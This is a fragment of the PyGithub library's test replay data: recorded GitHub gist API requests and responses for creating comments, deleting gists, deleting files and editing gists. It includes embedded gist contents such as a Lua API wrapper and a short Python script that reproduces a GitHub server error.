},\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Star a gist --\nfunction GithubAPI.gist.star(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"PUT\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Unstar a gist --\nfunction GithubAPI.gist.unstar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Check if a gist is starred --\nfunction GithubAPI.gist.checkStar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback)\nend\n\n--[[\n-- Response if gist is starred --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n\n-- Response if gist is not starred --\nStatus: 404 Not Found\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Fork a gist --\nfunction GithubAPI.gist.fork(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/forks\", callback, {method=\"POST\"})\nend\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/2\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n}\n]]--\n\n-- Delete a gist --\nfunction GithubAPI.gist.delete(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n--- GISTS COMMENTS ---\n\n-- List comments on a gist --\nfunction GithubAPI.gist.comment.list(gist_id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n }\n]\n]]--\n\n-- Get a single comment --\nfunction GithubAPI.gist.comment.get(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Create a comment --\nfunction GithubAPI.gist.comment.create(gist_id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/comments/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Edit a comment --\nfunction GithubAPI.gist.comment.edit(gist_id, id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Delete a comment --\nfunction GithubAPI.gist.comment.delete(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {method = \"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n----------------------------------------------------------------------------\n-------------------------------- TOOLS -------------------------------------\n----------------------------------------------------------------------------\n\nfunction GithubAPI.http_request(url, callback, opts, fullUrl)\n\topts = opts or {}\n\t-- if GithubAPI.token then opts.headers = TOKEN BEARER\n\tif opts.data then opts.data = json.encode(opts.data) end\n\n\tlocal _url\n\tif (fullUrl) then _url = url else _url = GithubAPI.location .. url end\n\n\thttp.request(_url, function(data, status, headers)\n\t\tif (status == 500) then error(\"Github: Internal Server Error ...\") end\n\t\tdata = json.decode(data)\n\t\tcallback(data, status, headers)\n\tend, alert, opts)\nend\n\nfunction GithubAPI.explode(div,str) -- credit: http://richard.warburton.it\n if (div=='') then return false end\n local pos,arr = 0,{}\n for st,sp in function() return string.find(str,div,pos,true) end do\n table.insert(arr,string.sub(str,pos,st-1))\n pos = sp + 1\n end\n table.insert(arr,string.sub(str,pos))\n return arr\nend\n\n-- GITHUB TIMESTAMP (YYYY-MM-DDTHH:MM:SSZ) to os.time\nfunction GithubAPI.gtimestamp(githubTime)\n\tgithubTime = githubTime:sub(1, #githubTime-1) -- remove Z\n\tgithubTime = GithubAPI.explode(\"T\", githubTime)\n\tgithubTime[1] = GithubAPI.explode(\"-\", githubTime[1])\n\tgithubTime[2] = GithubAPI.explode(\":\", githubTime[2])\n\treturn os.time({\n\t\tyear = tonumber(githubTime[1][1]),\n\t\tmonth = tonumber(githubTime[1][2]),\n\t\tday = tonumber(githubTime[1][3]),\n\t\thour = tonumber(githubTime[2][1]),\n\t\tmin = tonumber(githubTime[2][2]),\n\t\tsec = tonumber(githubTime[2][3])\n\t})\nend"}},"public":true,"created_at":"2013-08-21T16:28:24Z","updated_at":"2013-08-21T16:28:24Z","description":"Github API","comments":0,"user":null,"comments_url":"https://api.github.com/gists/6296732/comments","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"fork_of":{"url":"https://api.github.com/gists/6296553","forks_url":"https://api.github.com/gists/6296553/forks","commits_url":"https://api.github.com/gists/6296553/commits","id":"6296553","git_pull_url":"https://gist.github.com/6296553.git","git_push_url":"https://gist.github.com/6296553.git","html_url":"https://gist.github.com/6296553","files":{},"public":true,"created_at":"2013-08-21T16:12:27Z","updated_at":"2013-10-23T14:58:31Z","description":"Github API","comments":0,"user":null,"comments_url":"https://api.github.com/gists/6296553/comments","owner":{"login":"HyroVitalyProtago","id":3470988,"avatar_url":"https://avatars.githubusercontent.com/u/3470988?","gravatar_id":"ed59562b231a649345f38703948f76f4","url":"https://api.github.com/users/HyroVitalyProtago","html_url":"https://github.com/HyroVitalyProtago","followers_url":"https://api.github.com/users/HyroVitalyProtago/followers","following_url":"https://api.github.com/users/HyroVitalyProtago/following{/other_user}","gists_url":"https://api.github.com/users/HyroVitalyProtago/gists{/gist_id}","starred_url":"https://api.github.com/users/HyroVitalyProtago/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/HyroVitalyProtago/subscriptions","organizations_url":"https://api.github.com/users/HyroVitalyProtago/orgs","repos_url":"https://api.github.com/users/HyroVitalyProtago/repos","events_url":"https://api.github.com/users/HyroVitalyProtago/events{/privacy}","received_events_url":"https://api.github.com/users/HyroVitalyProtago/received_events","type":"User","site_admin":false}},"forks":[],"history":[{"user":null,"version":"c464aecd7fea16684e935607eeea7ae4f8caa0e2","committed_at":"2013-08-21T16:12:27Z","change_status":{"total":793,"additions":793,"deletions":0},"url":"https://api.github.com/gists/6296732/c464aecd7fea16684e935607eeea7ae4f8caa0e2"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Gist.testCreateComment.txt0000644000175100001660000001133514756101563023255 0ustar00runnerdockerhttps GET api.github.com None /gists/2729810 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '3280'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b01fb6ac81527f99db9f6f586b048ee3"'), ('date', 'Sat, 19 May 2012 06:58:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-02-29T16:47:12Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","files":{"fail_github.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729810/2fb3aa84e0efa50dc0f4c18b5df5b7b9ab27076b/fail_github.py","size":1636,"filename":"fail_github.py","content":"import httplib\nimport base64\nimport json\n\nlogin = \"\"\npassword = \"\"\norgName = \"\"\nrepoName = \"FailGithubApi\"\n\ndef doRequest( verb, url, input ):\n input = json.dumps( input )\n cnx = httplib.HTTPSConnection( \"api.github.com\", strict = True )\n cnx.request( verb, url, input, { \"Authorization\" : \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' ) } )\n response = cnx.getresponse()\n status = response.status\n output = response.read()\n cnx.close()\n print verb, url, input, \"=>\", status, output\n print\n if status < 200 or status >= 300:\n exit( 1 )\n return json.loads( output )\n\n# Create a repo\ndoRequest( \"POST\", \"/user/repos\", { \"name\": repoName } )\n\n# Create a blob, a tree, a commit and the master branch\nb = doRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( login, repoName ),\n { \"content\": \"Content of the blob\", \"encoding\": \"latin1\" }\n)\nt = doRequest(\n \"POST\", \"/repos/%s/%s/git/trees\" % ( login, repoName ),\n { \"tree\" : [ { \"path\": \"foo.bar\", \"type\": \"blob\", \"mode\": \"100644\", \"sha\": b[\"sha\"] } ] }\n)\nc = doRequest(\n \"POST\", \"/repos/%s/%s/git/commits\" % ( login, repoName ),\n { \"parents\": [], \"message\": \"Message of the commit\", \"tree\": t[\"sha\"] }\n)\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/refs\" % ( login, repoName ),\n { \"ref\": \"refs/heads/master\", \"sha\": c[\"sha\"] }\n)\n\n# Fork the repo\ndoRequest( \"POST\", \"/repos/%s/%s/forks?org=%s\" % ( login, repoName, orgName ), None )\n\n# Create a new blob => BOOM error 500\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( orgName, repoName ),\n { \"content\": \"Content of the new blob\", \"encoding\": \"latin1\" }\n)\n","language":"Python"}},"html_url":"https://gist.github.com/2729810","git_push_url":"git@gist.github.com:2729810.git","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"How to error 500 Github API v3, as requested by Rick (GitHub Staff)","created_at":"2012-02-29T16:47:12Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/a40de483e42ba33bda308371c0ef8383db73be9e","change_status":{"deletions":0,"additions":52,"total":52},"committed_at":"2012-02-29T16:47:12Z","version":"a40de483e42ba33bda308371c0ef8383db73be9e","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}}]} https POST api.github.com None /gists/2729810/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4992'), ('content-length', '479'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"77456eabf6ebaafc2808cfbd4dfa5904"'), ('date', 'Sat, 19 May 2012 07:07:57 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/gists/comments/323629')] {"updated_at":"2012-05-19T07:07:57Z","body":"Comment created by PyGithub","url":"https://api.github.com/gists/comments/323629","created_at":"2012-05-19T07:07:57Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":323629} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Gist.testDelete.txt0000644000175100001660000001004414756101563021725 0ustar00runnerdockerhttps GET api.github.com None /gists/2729810 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '3280'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b01fb6ac81527f99db9f6f586b048ee3"'), ('date', 'Sat, 19 May 2012 06:58:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-02-29T16:47:12Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","files":{"fail_github.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729810/2fb3aa84e0efa50dc0f4c18b5df5b7b9ab27076b/fail_github.py","size":1636,"filename":"fail_github.py","content":"import httplib\nimport base64\nimport json\n\nlogin = \"\"\npassword = \"\"\norgName = \"\"\nrepoName = \"FailGithubApi\"\n\ndef doRequest( verb, url, input ):\n input = json.dumps( input )\n cnx = httplib.HTTPSConnection( \"api.github.com\", strict = True )\n cnx.request( verb, url, input, { \"Authorization\" : \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' ) } )\n response = cnx.getresponse()\n status = response.status\n output = response.read()\n cnx.close()\n print verb, url, input, \"=>\", status, output\n print\n if status < 200 or status >= 300:\n exit( 1 )\n return json.loads( output )\n\n# Create a repo\ndoRequest( \"POST\", \"/user/repos\", { \"name\": repoName } )\n\n# Create a blob, a tree, a commit and the master branch\nb = doRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( login, repoName ),\n { \"content\": \"Content of the blob\", \"encoding\": \"latin1\" }\n)\nt = doRequest(\n \"POST\", \"/repos/%s/%s/git/trees\" % ( login, repoName ),\n { \"tree\" : [ { \"path\": \"foo.bar\", \"type\": \"blob\", \"mode\": \"100644\", \"sha\": b[\"sha\"] } ] }\n)\nc = doRequest(\n \"POST\", \"/repos/%s/%s/git/commits\" % ( login, repoName ),\n { \"parents\": [], \"message\": \"Message of the commit\", \"tree\": t[\"sha\"] }\n)\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/refs\" % ( login, repoName ),\n { \"ref\": \"refs/heads/master\", \"sha\": c[\"sha\"] }\n)\n\n# Fork the repo\ndoRequest( \"POST\", \"/repos/%s/%s/forks?org=%s\" % ( login, repoName, orgName ), None )\n\n# Create a new blob => BOOM error 500\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( orgName, repoName ),\n { \"content\": \"Content of the new blob\", \"encoding\": \"latin1\" }\n)\n","language":"Python"}},"html_url":"https://gist.github.com/2729810","git_push_url":"git@gist.github.com:2729810.git","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"How to error 500 Github API v3, as requested by Rick (GitHub Staff)","created_at":"2012-02-29T16:47:12Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/a40de483e42ba33bda308371c0ef8383db73be9e","change_status":{"deletions":0,"additions":52,"total":52},"committed_at":"2012-02-29T16:47:12Z","version":"a40de483e42ba33bda308371c0ef8383db73be9e","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}}]} https DELETE api.github.com None /gists/2729810 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4965'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 07:26:55 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Gist.testDeleteFile.txt0000644000175100001660000002121714756101563022531 0ustar00runnerdockerhttps GET api.github.com None /gists/5339374 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '3241'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 08 Apr 2013 18:46:15 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d1bfdcec2c35202fa167ebdfed524d25"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 08 Apr 2013 18:50:39 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/gists/5339374","forks_url":"https://api.github.com/gists/5339374/forks","commits_url":"https://api.github.com/gists/5339374/commits","id":"5339374","git_pull_url":"https://gist.github.com/5339374.git","git_push_url":"https://gist.github.com/5339374.git","html_url":"https://gist.github.com/5339374","files":{"bar.txt":{"filename":"bar.txt","type":"text/plain","language":null,"raw_url":"https://gist.github.com/raw/5339374/9a84713661904c94ce1e404151d15030b042a884/bar.txt","size":49,"content":"This file will be renamed \"baz.txt\" by PyGithub.\n"},"foo.txt":{"filename":"foo.txt","type":"text/plain","language":null,"raw_url":"https://gist.github.com/raw/5339374/920c28027f920979606c96ca347b050b1ebd1013/foo.txt","size":39,"content":"This file will be deleted by PyGithub.\n"}},"public":true,"created_at":"2013-04-08T18:46:14Z","updated_at":"2013-04-08T18:46:15Z","description":"Test gist for PyGithub","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/5339374/comments","forks":[],"history":[{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"7887f7ac9eb5c1963004bdde3bcfe2221d9a0515","committed_at":"2013-04-08T18:46:14Z","change_status":{"total":2,"additions":2,"deletions":0},"url":"https://api.github.com/gists/5339374/7887f7ac9eb5c1963004bdde3bcfe2221d9a0515"}]} https PATCH api.github.com None /gists/5339374 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"files": {"foo.txt": null}} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '4233'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"316f00c71eeb327bbeac7a3f7aba5237"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Mon, 08 Apr 2013 18:50:40 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/gists/5339374","forks_url":"https://api.github.com/gists/5339374/forks","commits_url":"https://api.github.com/gists/5339374/commits","id":"5339374","git_pull_url":"https://gist.github.com/5339374.git","git_push_url":"https://gist.github.com/5339374.git","html_url":"https://gist.github.com/5339374","files":{"bar.txt":{"filename":"bar.txt","type":"text/plain","language":null,"raw_url":"https://gist.github.com/raw/5339374/9a84713661904c94ce1e404151d15030b042a884/bar.txt","size":49,"content":"This file will be renamed \"baz.txt\" by PyGithub.\n"}},"public":true,"created_at":"2013-04-08T18:46:14Z","updated_at":"2013-04-08T18:50:40Z","description":"Test gist for PyGithub","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/5339374/comments","forks":[],"history":[{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"3b66ad4cc07f2bebb2eae2b2f2eefba33d2fb2d5","committed_at":"2013-04-08T18:50:40Z","change_status":{"total":1,"additions":0,"deletions":1},"url":"https://api.github.com/gists/5339374/3b66ad4cc07f2bebb2eae2b2f2eefba33d2fb2d5"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"7887f7ac9eb5c1963004bdde3bcfe2221d9a0515","committed_at":"2013-04-08T18:46:14Z","change_status":{"total":2,"additions":2,"deletions":0},"url":"https://api.github.com/gists/5339374/7887f7ac9eb5c1963004bdde3bcfe2221d9a0515"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Gist.testEditWithAllParameters.txt0000644000175100001660000001571414756101563024732 0ustar00runnerdockerhttps GET api.github.com None /gists/2729810 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '3280'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b01fb6ac81527f99db9f6f586b048ee3"'), ('date', 'Sat, 19 May 2012 06:58:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-02-29T16:47:12Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","files":{"fail_github.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729810/2fb3aa84e0efa50dc0f4c18b5df5b7b9ab27076b/fail_github.py","size":1636,"filename":"fail_github.py","content":"import httplib\nimport base64\nimport json\n\nlogin = \"\"\npassword = \"\"\norgName = \"\"\nrepoName = \"FailGithubApi\"\n\ndef doRequest( verb, url, input ):\n input = json.dumps( input )\n cnx = httplib.HTTPSConnection( \"api.github.com\", strict = True )\n cnx.request( verb, url, input, { \"Authorization\" : \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' ) } )\n response = cnx.getresponse()\n status = response.status\n output = response.read()\n 